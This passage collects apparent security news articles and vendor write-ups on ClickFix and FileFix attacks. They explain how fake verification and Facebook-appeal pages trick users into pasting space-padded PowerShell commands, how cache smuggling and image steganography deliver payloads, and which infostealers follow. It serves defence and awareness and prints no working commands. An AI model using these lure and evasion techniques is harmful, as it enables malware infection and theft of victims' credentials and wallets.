phishing-resistant auth like passkeys too.
helpnetsecurity.comDec 18, 2025extracted
What is FileFix — a ClickFix variation? | Kaspersky official blog
We recently covered the ClickFix technique. Now, malicious actors have begun deploying a new twist on it, which was dubbed “FileFix” by researchers. The core principle remains the same: using social engineering tactics to trick the victim into unwittingly executing malicious code on their own device. The difference between ClickFix and FileFix is essentially where the command is executed. With ClickFix, attackers convince the victim to open the Windows Run dialog box and paste a malicious command into it. With FileFix, however, they manipulate the victim into pasting a command into the Windows File Explorer address bar. From a user perspective, this action doesn’t appear unusual — the File Explorer window is a familiar element, making its use less likely to be perceived as dangerous. Consequently, users unfamiliar with this particular ploy are significantly more prone to falling for the FileFix trick. How attackers manipulate the victim into executing their code Similar to ClickFix, a FileFix attack begins when a user is directed — most often via a phishing email — to a page that mimics the website of some legitimate online service. The fake site displays an error message preventing access to the service’s normal functionality. To resolve the issue, the user is told they need to perform a series of steps for an “environment check” or “diagnostic” process. To do this, the user is told they need to run a specific file that, according to the attackers, is either already on the victim’s computer or has just been downloaded. All the user needs to do is copy the path to the local file and paste it into the Windows File Explorer address bar. Indeed, the field from which the user is instructed to copy the string shows the path to the file — which is why the attack is named “FileFix”. The user is then instructed to open File Explorer, press [CTRL] + [L] to focus on the address bar, paste the “file path” via [CTRL] + [V], and press [ENTER]. Here’s the trick: the visible file path is only the last few dozen characters of a much longer command. Preceding the file path is a string of spaces, and before that is the actual malicious payload the attackers intend to execute. The spaces are crucial for ensuring the user doesn’t see anything suspicious after pasting the command. Because the full string is significantly longer than the address bar’s visible area, only the benign file path remains in view. The true contents are only revealed if the information is pasted into a text file instead of the File Explorer window. For instance, in a Bleeping Computer article based on research by Expel, the actual command was found to launch a PowerShell script via conhost.exe. What happens after the malicious script is run A PowerShell script executed by a legitimate user can cause trouble in a multitude of ways. Everything depends on corporate security policies, the specific user’s privileges, and the presence of security solutions on the victim’s computer. In the case mentioned previously, the attack utilized a technique named “cache smuggling”. The same fake website that implemented the FileFix trick saved a file in JPEG format into the browser’s cache, but the file actually contained an archive with malware. The malicious script then extracted this malware and executed it on the victim’s computer. This method allows the final malicious payload to be delivered to the computer without overt file downloads or suspicious network requests, making it particularly stealthy. How to defend your company against ClickFix and FileFix attacks In our post about the ClickFix attack technique, we suggested that the simplest defense was to block the [Win] + [R] key combination on work devices. It’s extremely rare for a typical office employee to genuinely need to open the Run dialog box. In the case of FileFix, the situation is a bit more complex: copying a command into the address bar is perfectly normal user behavior. Blocking the [CTRL] + [L] shortcut is generally undesirable for two reasons. First, this combination is frequently used in various applications for diverse, legitimate purposes. Second, it wouldn’t fully help, as users can still access the File Explorer address bar by simply clicking it with the mouse. Attackers often provide detailed instructions for users if the keyboard shortcut fails. Therefore, for a truly effective defense against ClickFix, FileFix, and similar schemes, we recommend first and foremost deploying a reliable security solution on all employee work devices that can detect and block the execution of dangerous code in time. Second, we advise regularly raising employee awareness about modern cyberthreats — particularly the social engineering methods employed in ClickFix and FileFix scenarios. The Kaspersky Automated Security Awareness Platform can help automate employee training.
kaspersky.comNov 10, 2025extracted
ClickFix Attacks Against macOS Users Evolving
ClickFix attacks continue to evolve and the technique appears to be increasingly used against macOS users, with lures becoming ever more convincing. ClickFix has been widely adopted by both profit-driven cybercriminals and state-sponsored threat groups. The social engineering tactic enables attackers to trick victims into inadvertently executing malicious commands, particularly ones that lead to the deployment of malware. An attack involves a fake error message being displayed, informing the targeted user that in order to ‘fix’ the issue they need to click on a button and execute a series of operations. When the user clicks the ‘fix’ or ‘verify’ button in the prompt, a malicious command is copied in the background to their clipboard. On Windows, the victim is then instructed to press the Windows+R keys, which opens the Windows Run dialog box, then press Ctrl+V, which pastes the malicious command from the clipboard into the box, and finally press Enter to execute the command. The command typically runs silently in the background (often by leveraging a legitimate Windows utility such as PowerShell), downloading and installing a piece of malware. Since the victim is manually executing the command and installing the malware, security systems that would typically catch an automated download of the malware are more likely to be bypassed. ClickFix attacks have been conducted primarily against Windows users, but there have also been reports of attacks targeting macOS users, and the attacks aimed at macOS users appear to have significantly evolved in recent months. For instance, a few months ago Microsoft warned about a ClickFix campaign where fake Cloudflare verification instructions displayed in the malicious prompt to macOS users contained instructions actually meant for Windows users. CrowdStrike recently reported seeing a ClickFix attack whose goal was the deployment of a piece of malware named SHAMOS, a variant of the macOS information stealer AMOS. The fake instructions for the victims were adapted to macOS, with users being instructed to press the Command and Space keys to open Spotlight Search, type ‘Terminal’, and execute a given command. However, the number of steps that needed to be completed was higher than on Windows and it was likely to raise more suspicion as the victim was instructed to manually copy a given command, paste it into a Terminal window, and execute it. During the process, macOS may have also prompted the victim to enter their system password, which could further raise suspicion. Browser threat detection and response firm Push Security on Thursday reported seeing what it described as the “most advanced ClickFix” to date. The ClickFix pop-up mimics a Cloudflare verification page and it’s well designed. The instructions are tailored to macOS users, there are fewer steps to complete compared to the attacks seen by CrowdStrike, and the malicious command is apparently automatically copied to the user’s clipboard. In addition, the page includes an embedded video that shows the user how to carry out the instructions to ‘verify’ that they are human. It also displays a countdown timer to put pressure on the victim. Targeting macOS users in a malware distribution campaign is in general more challenging compared to Windows, but the latest improvements in ClickFix attacks demonstrate that threat actors are rapidly adapting their tactics. Due to the nature of ClickFix attacks, the measures that operating system and security vendors can take to protect users are limited. Microsoft, for instance, has been adding ClickFix defenses to its Defender products, particularly for the detection of malicious ClickFix landing pages, but highlighted that user training and awareness are critical. SecurityWeek has reached out to Apple to find out whether it’s taking any steps to protect users against ClickFix attacks. Related: New Interlock RAT Variant Distributed via FileFix Attacks Related: New ClickFix Malware Variant ‘LightPerlGirl’ Targets Users in Stealthy Hack Related: ClickFix Attack Exploits Fake Cloudflare Turnstile to Deliver Malware
securityweek.comNov 7, 2025extracted
New FileFix attack uses cache smuggling to evade security software
A new variant of the FileFix social engineering attack uses cache smuggling to secretly download a malicious ZIP archive onto a victim’s system and bypassing security software. The new phishing and social engineering attack impersonates a "Fortinet VPN Compliance Checker" and was first spotted by cybersecurity researcher P4nd3m1cb0y, who shared information about it on X. In a new report by cybersecurity firm Expel, cybersecurity researcher Marcus Hutchins shares more details on how this attack works. For those not familiar with FileFix attacks, they are a variant of the ClickFix social engineering attack developed by Mr.d0x. Instead of tricking users into pasting malicious commands into operating system dialogs, it uses the Windows File Explorer address bar to execute PowerShell scripts stealthily. FileFix attack evolves with cache smuggling In the new phishing attack, a website displays a dialog that poses as a Fortinet VPN "Compliance Checker, directing users to paste what looks like a legitimate network path to a Fortinet program on a network share. While the lure displays the path " \\Public\Support\VPN\ForticlientCompliance.exe," when copied to the clipboard, it is actually much longer, as it is padded with 139 spaces to hide a malicious PowerShell command. Due to this padding, when the visitor follows the instructions to open File Explorer and paste the command into the address bar, only the path is displayed, as seen below. However, when a person presses Enter on the keyboard, Windows runs the following hidden PowerShell command through conhost.exe in headless mode, so it's not visible to the user. The PowerShell command first creates the %LOCALAPPDATA%\FortiClient\compliance folder, then copies Chrome's cache files from %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data\ into that folder. The script then scans each cache file using regular expressions to find content between the "bTgQcBpv" and "mX6o0lBw". This content is actually a zip file stored in the fake image file, which is extracted to ComplianceChecker.zip and unzipped. The script then launches the FortiClientComplianceChecker.exe executable from the extracted archive to execute malicious code. You may be wondering how the malicious file was stored in Chrome's cache files in the first place, and this is where the cache smuggling attack comes into play. When the visitor accessed the phishing page containing the FileFix lure, the website executed JavaScript that instructed the browser to retrieve an image file. As the HTTP response states that the fetched image is of type "image/jpeg", the browser automatically caches it on the file system, treating it as a legitimate image file, even though it is not. As this was done before the PowerShell command was executed through File Explorer, the file already existed in the cache, and the zip file could be extracted from it. "This technique, known as cache smuggling, enables the malware to bypass many different types of security products," explains Hutchins. "Neither the webpage nor the PowerShell script explicitly download any files. By simply letting the browser cache the fake "image," the malware is able to get an entire zip file onto the local system without the PowerShell command needing to make any web requests." "As a result, any tools scanning downloaded files or looking for PowerShell scripts performing web requests wouldn't detect this behavior." Threat actors have become quick to adopt the new FileFix technique soon after it was disclosed, with ransomware gangs and other threat actors utilizing it in their campaigns. ClickFix generator expands the ecosystem In addition to the new cache-smuggling FileFix variant, researchers at Palo Alto Unit 42 discovered a new ClickFix kit called the "IUAM ClickFix Generator," which automates the creation of ClickFix-style lures. The ClickFix Generator's interface allows attackers to design spoofed verification pages, customize page titles and text, select color schemes, and configure clipboard payloads. The kit also supports OS detection, tailoring PowerShell commands for Windows or Base64-encoded shell commands for macOS, while sometimes serving harmless decoys to other operating systems. The lures all appear to involve some type of fake Cloudflare captcha, with the researchers seeing multiple websites created that utilize the generated lures. These websites claim to be affiliated with Cloudflare, Speedtest, Microsoft Teams, Claude, TradingView, Microsoft, and Microsoft 365, among others. While each lure is customized according to the attacker's campaign, the behavior remains the same, displaying a fake Cloudflare CAPTCHA that prompts users to run a hidden command in the Command Prompt, Run dialog, or Terminal. In the campaign observed by Unit 42, the social engineering attacks were used to infect devices with the DeerStealer (Windows) and Odyssey (Mac) infostealer malware, as well as another unknown payload for Windows. As these types of social engineering attacks have become increasingly popular among threat actors, it is essential to educate employees on the importance of never copying text from a website and running it in an operating system dialog box. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comOct 8, 2025extracted
Hackers Exploit WordPress Sites to Power Next-Gen ClickFix Phishing Attacks
Cybersecurity researchers are calling attention to a nefarious campaign targeting WordPress sites to make malicious JavaScript injections that are designed to redirect users to sketchy sites. "Site visitors get injected content that was drive-by malware like fake Cloudflare verification," Sucuri researcher Puja Srivastava said in an analysis published last week. The website security company said it began an investigation after one of its customer's WordPress sites served suspicious third-party JavaScript to site visitors, ultimately finding that the attackers introduced malicious modifications to a theme-related file ("functions.php"). The code inserted into "functions.php" incorporates references to Google Ads, likely in an attempt to evade detection. But, in reality, it functions as a remote loader by sending an HTTP POST request to the domain "brazilc[.]com," which, in turn, responds with a dynamic payload that includes two components - A JavaScript file hosted on a remote server ("porsasystem[.]com"), which, as of writing, has been referenced on 17 websites and contains code to perform site redirects A piece of JavaScript code that creates a hidden, 1x1 pixel iframe, within which it injects code that mimics legitimate Cloudflare assets like "cdn-cgi/challenge-platform/scripts/jsd/main.js" – an API that's a core part of its bot detection and challenge platform It's worth noting that the domain "porsasystem[.]com" has been flagged as part of a traffic distribution system (TDS) called Kongtuke (aka 404 TDS, Chaya_002, LandUpdate808, and TAG-124). According to information shared by an account named "monitorsg" on Mastodon on September 19, 2025, the infection chain starts with users visiting a compromised site, resulting in the execution of "porsasystem[.]com/6m9x.js," which then leads to "porsasystem[.]com/js.php" to eventually take the victims to ClickFix-style pages for malware distribution. The findings illustrate the need for securing WordPress sites and ensuring that plugins, themes, and website software are kept up-to-date, enforcing strong passwords, scanning the sites for anomalies and unexpected administrator accounts created for maintaining persistent access even after the malware is detected and removed. Create ClickFix Pages Using IUAM ClickFix Generator The disclosure comes as Palo Alto Networks Unit 42 detailed a phishing kit named IUAM ClickFix Generator that allows attackers to infect users with malware by leveraging the ClickFix social engineering technique and come up with customizable landing pages by mimicking browser verification challenges often used to block automated traffic. "This tool allows threat actors to create highly customizable phishing pages that mimic the challenge-response behavior of a browser verification page commonly deployed by Content Delivery Networks (CDNs) and cloud security providers to defend against automated threats," security researcher Amer Elsad said. "The spoofed interface is designed to appear legitimate to victims, increasing the effectiveness of the lure." The bespoke phishing pages also come with capabilities to manipulate the clipboard, a crucial step in the ClickFix attack, as well as detect the operating system used in order to tailor the infection sequence and serve compatible malware. In at least two different cases, threat actors have been detected using pages generated using the kit to deploy information stealers such as DeerStealer and Odyssey Stealer, the latter of which is designed to target Apple macOS systems. The emergence of the IUAM ClickFix Generator adds to a prior alert from Microsoft warning of a rise in commercial ClickFix builders on underground forums since late 2024. Another notable example of a phishing kit that has integrated the offering is Impact Solutions. "The kits offer creation of landing pages with a variety of available lures, including Cloudflare," Microsoft noted back in August 2025. "They also offer construction of malicious commands that users will paste into the Windows Run dialog. These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as payload persistence." It goes without saying that these tools further lower the barrier to entry for cybercriminals, enabling them to mount sophisticated, multi-platform attacks at scale without much effort or technical expertise. ClickFix Becomes Stealthy via Cache Smuggling The findings also follow the discovery of a new campaign that has innovated on the ClickFix attack formula by employing a sneaky technique referred to as cache smuggling to fly under the radar as opposed to explicitly downloading any malicious files on the target host. "This campaign differs from previous ClickFix variants in that the malicious script does not download any files or communicate with the internet," Expel Principal Threat Researcher Marcus Hutchins said. "This is achieved by using the browser's cache to pre-emptively store arbitrary data onto the user's machine." Expel said it was unable to determine the final payload received as part of the attack. It's also currently not known how users are redirected to the phishing page, and if it involves techniques like malvertising or search engine optimization (SEO) poisoning. In the attack documented by the cybersecurity company, the ClickFix-themed page masquerades as a Fortinet VPN Compliance Checker, using FileFix tactics to deceive users into launching the Windows File Explorer and pasting a malicious command into the address bar to trigger the execution of the payload. The invisible command is designed to run a PowerShell script via conhost.exe. What makes the script stand apart is that it does not download any additional malware or communicate with an attacker-controlled server. Instead, it executes an obfuscated payload that passes off as a JPEG image and is already cached by the browser when the user lands on the phishing page. "The file extracted from the cache is used to set up a scheduled task, which is set to run after each reboot," Hutchins told The Hacker News. "When the task runs, it connects to a command-and-control server waiting for follow-up commands." "Neither the web page nor the PowerShell script explicitly downloads any files," Hutchins explained. "By simply letting the browser cache the fake 'image,' the malware is able to get an entire ZIP file onto the local system without the PowerShell command needing to make any web requests." "The implications of this technique are concerning, as cache smuggling may offer a way to evade protections that would otherwise catch malicious files as they are downloaded and executed. An innocuous-looking 'image/jpeg' file is downloaded, only to have its contents extracted and then executed via a PowerShell command hidden in a ClickFix phishing lure." (The story was updated after publication to include additional insights from Expel.)
thehackernews.comOct 8, 2025extracted
FileFix Campaign Using Steganography and Multistage Payloads
A rare in-the-wild FileFix campaign has been observed by cybersecurity researchers, which hides a second-stage PowerShell script and encrypted executables inside JPG images. The attack, detailed in an advisory by Acronis, persuades victims to paste a malicious command into a file upload address bar, then runs a heavily obfuscated PowerShell chain that downloads and parses images to extract payloads. What’s new in this instance is that the campaign departs from the original attack proof of concept (POC). ClickFix-style attacks have surged recently by over 500% and a FileFix proof of concept was published in early July by researcher Mr. d0x. This particular deployment, however, is the first seen in the wild that does not strictly follow that POC and instead uses multilingual phishing pages, heavy JavaScript minification and steganography to conceal code. Phishing Infrastructure and Social Engineering According to Acronis, the phishing site mimics a Meta support page and pressures users into an appeal flow that asks them to “open File Explorer” and paste a path that is actually a payload. The site includes translations for 16 languages and multiple variants have been active in the last two weeks, indicating rapid iteration and global targeting. The social engineering element of FileFix may prove more persuasive than ClickFix, as most users are familiar with file upload windows, but not with terminal prompts. This subtle shift demonstrates how attackers are refining lures to align with everyday user behavior. Multistage Delivery and Final Payload The attack infection chain begins with an obfuscated PowerShell one-liner that reconstructs variables, downloads an image hosted on BitBucket and extracts a plaintext second-stage script from a defined byte range. That script uses RC4 decryption and gzip decompression to carve multiple files from the image, execute EXEs via conhost.exe and then remove them. The final loader, written in Go, carries out sandbox checks by comparing hardware information, then decrypts shellcode leading to the deployment of StealC. This infostealer is capable of harvesting data from browsers, cryptocurrency wallets, messaging apps and cloud services. Researchers note that StealC can also act as a downloader, giving attackers flexibility to deliver additional malware. Detection and Mitigation Key recommendations from Acronis researchers center on strengthening both user training and technical defenses. Organizations are encouraged to take a layered approach that combines awareness with proactive blocking measures, including: Teach users to avoid pasting commands into system dialogs or file upload address bars Block PowerShell, CMD, MSIEXEC or MSHTA processes launched from web browsers Monitor for unusual browser-child process activity across endpoints The campaign highlights how quickly FileFix has evolved from a proof of concept to an active threat. By blending social engineering, obfuscation and steganography, attackers are making detection more difficult. Security teams must stay alert and ensure users understand these emerging *Fix attack techniques.
infosecurity-magazine.comSep 17, 2025extracted
From ClickFix to MetaStealer: Dissecting Evolving Threat Actor Techniques
By John Hammond, Alden Schmidt, Lindsey Welch During the past fifteen business days, Huntress analysts have observed increased threat activity involving several notable techniques. One case involved a malicious AnyDesk installer, which initially mimicked a standard ClickFix attack through a fake Cloudflare verification page but then utilized Windows File Explorer and an MSI package masked as a PDF to deploy MetaStealer malware. Additionally, two incidents involving the Cephalus ransomware variant were detected. This ransomware distinguishes itself by employing DLL sideloading through a legitimate SentinelOne executable, SentinelBrowserNativeHost.exe, to launch the payload. These recent findings highlight the ongoing evolution in threat actor tradecraft, combining established social engineering methods with more technically advanced infection chains and evasive deployment strategies. ClickFix attacks have been ticking up for over a year now, as attackers find success in tricking users into executing malicious code on their computers using CAPTCHA-based lures. We’ve seen quite a bit of these types of attacks on our end, but we’ve also seen threat actors adopting ClickFix-esque techniques in attacks that don’t follow the exact ClickFix playbook. Recently, our very own John Hammond received an email from someone who had come across a fake AnyDesk installer while searching for the AnyDesk remote tool. While early indicators of the attack look like it would turn into another ClickFix scam, a little bit of digging shows a unique infection chain that involves a fake Cloudflare Turnstile lure, the Windows search protocol, and an MSI package disguised as a PDF that cleverly grabs the victim’s hostname. The attack ultimately aims to drop MetaStealer, a commodity infostealer that’s been around since 2022 and is known for harvesting credentials and stealing files. ClickFix, FileFix, and other ‘fix’ variants First, a quick primer on the widely used ClickFix technique. The premise of ClickFix is that threat actors convince users to “fix” a purported issue, usually with a CAPTCHA on a webpage that they arrive on via a phishing message, or otherwise. The “solution” is copying and pasting a command fed to victims via an attacker-controlled prompt, which quietly kicks off the attack chain. While the classic ClickFix attack tricks users to paste and run commands in their Windows Run dialog box or via PowerShell, other variants of the attack have also sprung up that take a different approach. A few months ago, attackers turned to a similar technique, dubbed FileFix, which involves Windows File Explorer instead of the Run dialog box. We’ve seen a number of incidents that stem from ClickFix attacks. In the August 26 incident shown in Figure 1 below, for instance, we responded to an attack where a user executed a malicious command given to them via a fake Cloudflare Turnstile, which is Cloudflare’s verification tool meant to replace CAPTCHAs for weeding out bots. This then downloaded and installed an infostealer. Closer investigation revealed that the victim had visited the landing page teams-one[.]com. This page showed a Cloudflare Turnstile and marked the beginning stage of the ClickFix attack. Though there are similarities that we’ll outline below, the run-of-the-mill ClickFix incident demonstrated above differs significantly from the MetaStealer attack that we recently came across. Hacker tradecraft’s evolving daily, so let’s break it down on Tradecraft Tuesday! Join us monthly for an in-depth look at attacker tradecraft—no sales or product talk involved. Sign up for the series today or catch up on previous episodes. No tricks, just tradecraft. Register for Tradecraft Tuesday A ClickFix-turned-not-fix attack: what we saw The initial link for the fake AnyDesk installer redirects users to https[://]anydeesk[.]ink/download/anydesk[.]html, which displays a Cloudflare Turnstile - and a very questionable UI. The page purports to support “Secure Access Verification”, prompting the user to click a single button on the Cloudflare Turnstile to “verify you are human.” A quick look at the underlying HTML for the webpage (using View Source) is shrouded by obfuscated JavaScript, but that can be easily unraveled with JavaScript deobfuscation tools available in the browser tools console. This reveals the actual source code - and reveals the window.location.href value to be https[://]verification[.]anydeesk[.]ink/reCAPTCHA-v2[.]php. Up to this point, this has all the tell-tale signs of a ClickFix campaign: it involves a classic human verification social engineering piece, and sets the end user up to click on a box. However, when the victim clicks the box, the prompts in this attack lead to Windows File Explorer, Windows’ file management tool, as opposed to the Windows Run dialog box as we have seen with ClickFix. This is more indicative of a FileFix attack—but this attack still isn’t strictly FileFix, where victims are prodded to launch the address bar in Windows File Explorer (using a Ctrl+L and Ctrl+V combination to paste a PowerShell command that was automatically copied to their clipboard). Instead, in this attack, the PHP above redirects users to the Windows protocol handler (search-ms URI), a legitimate feature enabling applications to kick off specific search queries in Windows File Explorer. The specific Windows File Explorer “Search” redirect location can be seen in Figure 4 below, which displays the name for a custom search query as part of the search-ms URI protocol. As seen in Figure 5 below, Windows File Explorer then directs the victim to an attacker-controlled SMB share, essentially a remote file share allowing clients to access files on a remote server over a network. Here, victims are presented with a Windows shortcut LNK file – however, this LNK file is disguised as a PDF file called Readme Anydesk.pdf. Fake PDF lure: snagging victim hostnames As you can see below, the LNK file’s payload is: Once clicked, this file’s payload kicks off a few processes. Here, cmd.exe starts the automatic download of a legitimate AnyDesk installer on Microsoft Edge, possibly as a way to avoid suspicion for the victim. Meanwhile, it also begins a download for another purported “PDF,” which is downloaded from chat1[.]store and dropped into the temporary directory. Notably, this fake PDF is configured to grab the %COMPUTERNAME% environment variable as a subdomain. Subdomains don’t need to know the user’s hostname ahead of time, so this is a clever way for the attacker to nab that information from the victim. The fake PDF is then installed by msiexec (revealing that it’s actually an MSI package) and the cmd.exe process is then killed. Upon closer inspection of chat1[.]store (reached through a curl user agent), we can see everything from the MSI package, including files that would have been triggered as part of the attack chain. The two important files in the MSI package are a DLL (CustomActionDLL) and a CAB archive (Binary.bz.WrappedSetupProgram) which contains several other files. The CAB file contains two additional malicious files: 1.js which is responsible for cleaning up the infection chain, and ls26.exe which is the MetaStealer dropper. The MetaStealer file (ls26.exe) is a very large binary and is protected with Private EXE Protector. Upon further inspection, the executable reveals the same types of behavior that we’ve seen in known samples of MetaStealer, such as stealing from crypto wallets. ClickFix variants and lessons learned ClickFix, FileFix, and even this alternate-ClickFix attack we recently found show the power of blending social engineering with mundane processes, like CAPTCHAs or other verification tools. Additionally, these types of attacks that require some level of manual interaction from the victim, as they work to “fix” the purported broken process themselves, work in part because they can potentially circumvent security solutions. The guidance for organizations in regards to ClickFix has previously centered around taking measures like disallowing users to use the Windows Run dialog box if it’s not needed for everyday tasks. While this can be effective against traditional ClickFix attacks, the variants like the one above show that threat actors are continuing to move the needle in their infection chains, throwing a wrench into detection and prevention. Organizations should take additional measures, including educating users about the lures linked to ClickFix-like attacks. Users should be trained on spotting CAPTCHAs that prompt them to copy and paste into the Run dialog box, or redirect to Windows File Explorer. Maintain Situational Awareness—Register for Tradecraft Tuesday Tradecraft Tuesday provides cybersecurity professionals with an in-depth analysis of the latest threat actors, attack vectors, and mitigation strategies. Each weekly session features technical walkthroughs of recent incidents, comprehensive breakdowns of malware trends, and up-to-date indicators of compromise (IOCs). Participants gain: Detailed briefings on emerging threat campaigns and ransomware variants Evidence-driven defense methodologies and remediation techniques Direct interaction with Huntress analysts for incident response insights Access to actionable threat intelligence and detection guidance Advance your defensive posture with real-time intelligence and technical education specifically designed for those responsible for safeguarding their organization’s environment. IOCs Sponsored and written by Huntress.
bleepingcomputer.comSep 17, 2025extracted
New FileFix Variant Delivers StealC Malware Through Multilingual Phishing Site
Cybersecurity researchers have warned of a new campaign that's leveraging a variant of the FileFix social engineering tactic to deliver the StealC information stealer malware. "The observed campaign uses a highly convincing, multilingual phishing site (e.g., fake Facebook Security page), with anti-analysis techniques and advanced obfuscation to evade detection," Acronis security researcher Eliad Kimhy said in a report shared with The Hacker News. At a high level, the attack chain involves the use of FileFix to entice users into launching an initial payload that then proceeds to download seemingly innocuous images containing the malicious components from a Bitbucket repository. This allows the attackers to abuse the trust associated with a legitimate source code hosting platform to bypass detection. FileFix, first documented by security researcher mrd0x as a proof-of-concept (PoC) in June 2025, is a little different from ClickFix in that it eschews the need for users to launch the Windows Run dialog and paste an already copied obfuscated command to complete bogus CAPTCHA verification checks on phishing pages set up for this purpose. Instead, it leverages a web browser's file upload feature to deceive users into copying and pasting a command on the File Explorer's address bar, causing it to be executed locally on the victim's machine. The attack commences with a phishing site to which the victim is likely redirected from an email message that warns recipients of potential suspension of their Facebook accounts after a week, claiming the shared posts or messages violate its policies. Users are then asked to appeal the decision by clicking on a button. The phishing page is not only heavily obfuscated, but also resorts to techniques like junk code and fragmentation to hinder analysis efforts. The FileFix attack comes into play once the button is clicked, at which point the victim is displayed a message stating they can access a PDF version of the supposed policy violation by copying and pasting a path to the document in the File Explorer's address bar. While the path provided in the instruction appears completely harmless, clicking the "Copy" button actually copies a malicious command that's suffixed with extra spaces, so that only the file path is displayed when pasted into File Explorer upon opening it using the "Open File Explorer" button. This command is a multi-stage PowerShell script that downloads the aforementioned image, decodes it into the next-stage payload, and ultimately runs a Go-based loader that unpacks shellcode responsible for launching StealC. FileFix also offers a crucial advantage over ClickFix, as it abuses a widely used browser feature as opposed to opening the Run dialog (or the Terminal app in case of Apple macOS), which could be blocked by a system administrator as a security measure. "On the other hand, one of the things that makes ClickFix so challenging to detect in the first place is that it is spawned from Explorer.exe via the run dialog, or directly from a terminal, whereas with FileFix, the payload is executed by the web browser used by the victim, which is far more likely to stand out in an investigation or to a security product," Acronis said. "The adversary behind this attack demonstrated significant investment in tradecraft, carefully engineering the phishing infrastructure, payload delivery and supporting elements to maximize both evasion and impact." The disclosure comes as Doppel detailed another campaign that has been observed using a combination of fake support portals, Cloudflare CAPTCHA error pages, and clipboard hijacking -- i.e., ClickFix -- to socially engineer victims into running malicious PowerShell code that downloads and runs an AutoHotkey (AHK) script. The script is designed to profile the compromised host and deliver additional payloads, including AnyDesk, TeamViewer, information stealers, and clipper malware. The cybersecurity company said it also observed other variants of the activity where victims are guided to run an MSHTA command pointing to a lookalike Google domain ("wl.google-587262[.]com"), which then retrieves and executes a remote malicious script. "AHK is a Windows-based scripting language originally designed for automating repetitive tasks like keystrokes and mouse clicks," Doppel security researcher Aarsh Jawa noted. "While it's long been popular among power users and system admins for its simplicity and flexibility, threat actors began weaponizing AHK around 2019 to create lightweight malware droppers and info-stealers. These malicious scripts often masquerade as benign automation tools or support utilities."
thehackernews.comSep 16, 2025extracted
'FileFix' attacks use fake Facebook security alerts to trick victims into running infostealers
An attack called FileFix is masquerading as a Facebook security alert before ultimately dropping the widely used StealC infostealer and malware downloader on Windows machines. FileFix is a variation on ClickFix, a newish type of social-engineering technique first spotted last year that tricks victims into running malware on their own devices using fake fixes and login prompts. These types of attacks have surged by 517 percent in the past six months, according to researchers at antivirus and internet security software vendor ESET, making them second most common attack vector behind phishing. ClickFix typically asks the victim to perform a fake CAPTCHA test. FileFix tricks the user into copying and pasting a command into a file upload window or File Explorer, which after victims press Enter executes the payload(s) on their own machine. This beautiful house. These doors. It's an evasion technique. It's also a mark of a sophisticated attacker Acronis' Threat Research Unit discovered the FileFix attack in late August, and told The Register that it's the first in-the-wild example that doesn't strictly follow the original proof-of-concept (PoC) attack demonstrated by a researcher known as “mr.d0x” in July. "I've seen samples pop up on the 13th, which is a couple of days ago," Acronis senior researcher Eliad Kimhy told The Register, noting a burst of VirusTotal file submissions and phishing sites associated with this attack. "They keep evolving the infrastructure." The VirusTotal uploads come from multiple countries – the US, Bangladesh, Philippines, Tunisia, Nepal, Dominican Republic, Serbia, Peru, China, Germany, and others – as do the language translations on the phishing sites. "It's possible that the attackers are reporting themselves to VirusTotal," as part of the testing process, Kimhy said. "But the Occam's Razor is that they're attacking victims all over the world, and they're reporting these pages as suspicious." The infosec researchers over the past few weeks have also continued to see multiple variants with "very similar" payloads, indicating that whoever is behind this FileFix campaign may be accelerating the attacks. "I don't want to say they're building the plane as they're going, because they're not," he said. "They have a very good plane. But they keep adding new things to the plane, which is really cool to see." Malware delivered via pretty pictures To pull off the attack, the miscreants constructed a fake Facebook security alert warning the victim that someone has reported their account and it will be suspended in seven days. But the victim can purportedly appeal this account suspension by clicking on a PDF file that supposedly comes from Facebook. To view the file and appeal the suspension, the note tells the user to open File Explorer, and paste the payload disguised as a URL for the PDF file into that window. It’s all fake. The File Explorer is really just a file upload window, and the phony URL is a malicious payload. To make it look more convincing, the attacker placed a lot of unnecessary spaces ahead of the payload so that only the file path – and not the malicious commands – appear in the address bar. "As it finishes running, the payload will spawn an alert saying, 'No file is found,' and, when pressed, the continue button on the page will spawn a similar error, saying 'Please complete the steps,'" the Acronis report explains. "Thus, the victim is stuck, with no file, and no ability to continue the appeal." The victim believes they are stuck in this loop, but in reality they've executed malware on their computer. And the first stage is an image that downloads to the victim's Temp folder. Downloading a JPG – which is something people do on their devices every single day – makes detection more difficult because it looks like the user simply saved an image file onto their machine. The Acronis team believes attackers use AI to generate these photographs, which depict a bucolic house, a snail on dewy morning leaves, or a series of intricate doors within doors. "The image is my favorite part," Acronis’s Kimhy said, clicking through the different images he has collected as part of this campaign. "This beautiful house. These doors. It's an evasion technique. It's also a mark of a pretty sophisticated attacker." In watching this campaign evolve, the threat hunters found the crims moving away from using malicious domains that they control, such as elprogresofood[.]com, and instead delivering the images from BitBucket. This helps evade detection, and also means they don't need to register and manage malicious domains. These idyllic photos actually contain a second-stage PowerShell script stored in plaintext and an executable payload encrypted within the image. Embedding the second stage of the exploit into the image file allows the attacker more flexibility to change the files that are dropped without changing the payload on the phishing site. Another reason may be to aid evasion, as reducing the size of the base64-encoded command might attract less attention. From Facebook alert to StealC infostealer The final payload includes both a loader and the infostealer. The loader is written in Go, and first it checks to make sure it's not running in a VM – this could indicate a sandbox, and not a legit victim – before decrypting and loading shellcode into memory. The shellcode then unpacks StealC version 2, released in March, that can steal information from a ton of different programs. The attacks are a strong indication that anti-phishing training needs to evolve This includes browsers such as Chrome, Firefox, Opera, Explorer, Tencent QQ, Quark, UC Browser, Sogou Explorer, and Maxthon. It also seeks out over 20 cryptocurrency wallets, and tries to steal data from messaging, VPN, and database applications such as Thunderbird, Telegram, Discord, Tox, Pidgin, Ubisoft Game Launcher, Battle.net, OpenVPN, and Proton VPN. The malware also looks for Azure and AWS keys. "A lot of these Fix attacks end with stealers nowadays, and I'm curious to see if this evolves, because they do keep changing the payload," Kimhy said. "StealC also has the capability to load other malware onto a machine, so that's something I'm keeping an eye on." The ClickFix, and now FileFix, attacks are a strong indication that anti-phishing training needs to evolve," he added. "It's interesting that a technique like this is surging, because on its face, it's such a basic idea," Kimhy said. "Just tell them [the victim] to do the thing for you, and they'll do it. Maybe it works because users aren't really familiar with these types of attacks. So to prevent these types of phishing attacks, we need to explain to users that this could happen to them." Kimhy also noted the speed at which this type of attack moved from a PoC to a global campaign. "This one was theorized at the beginning of July, so about 75 days 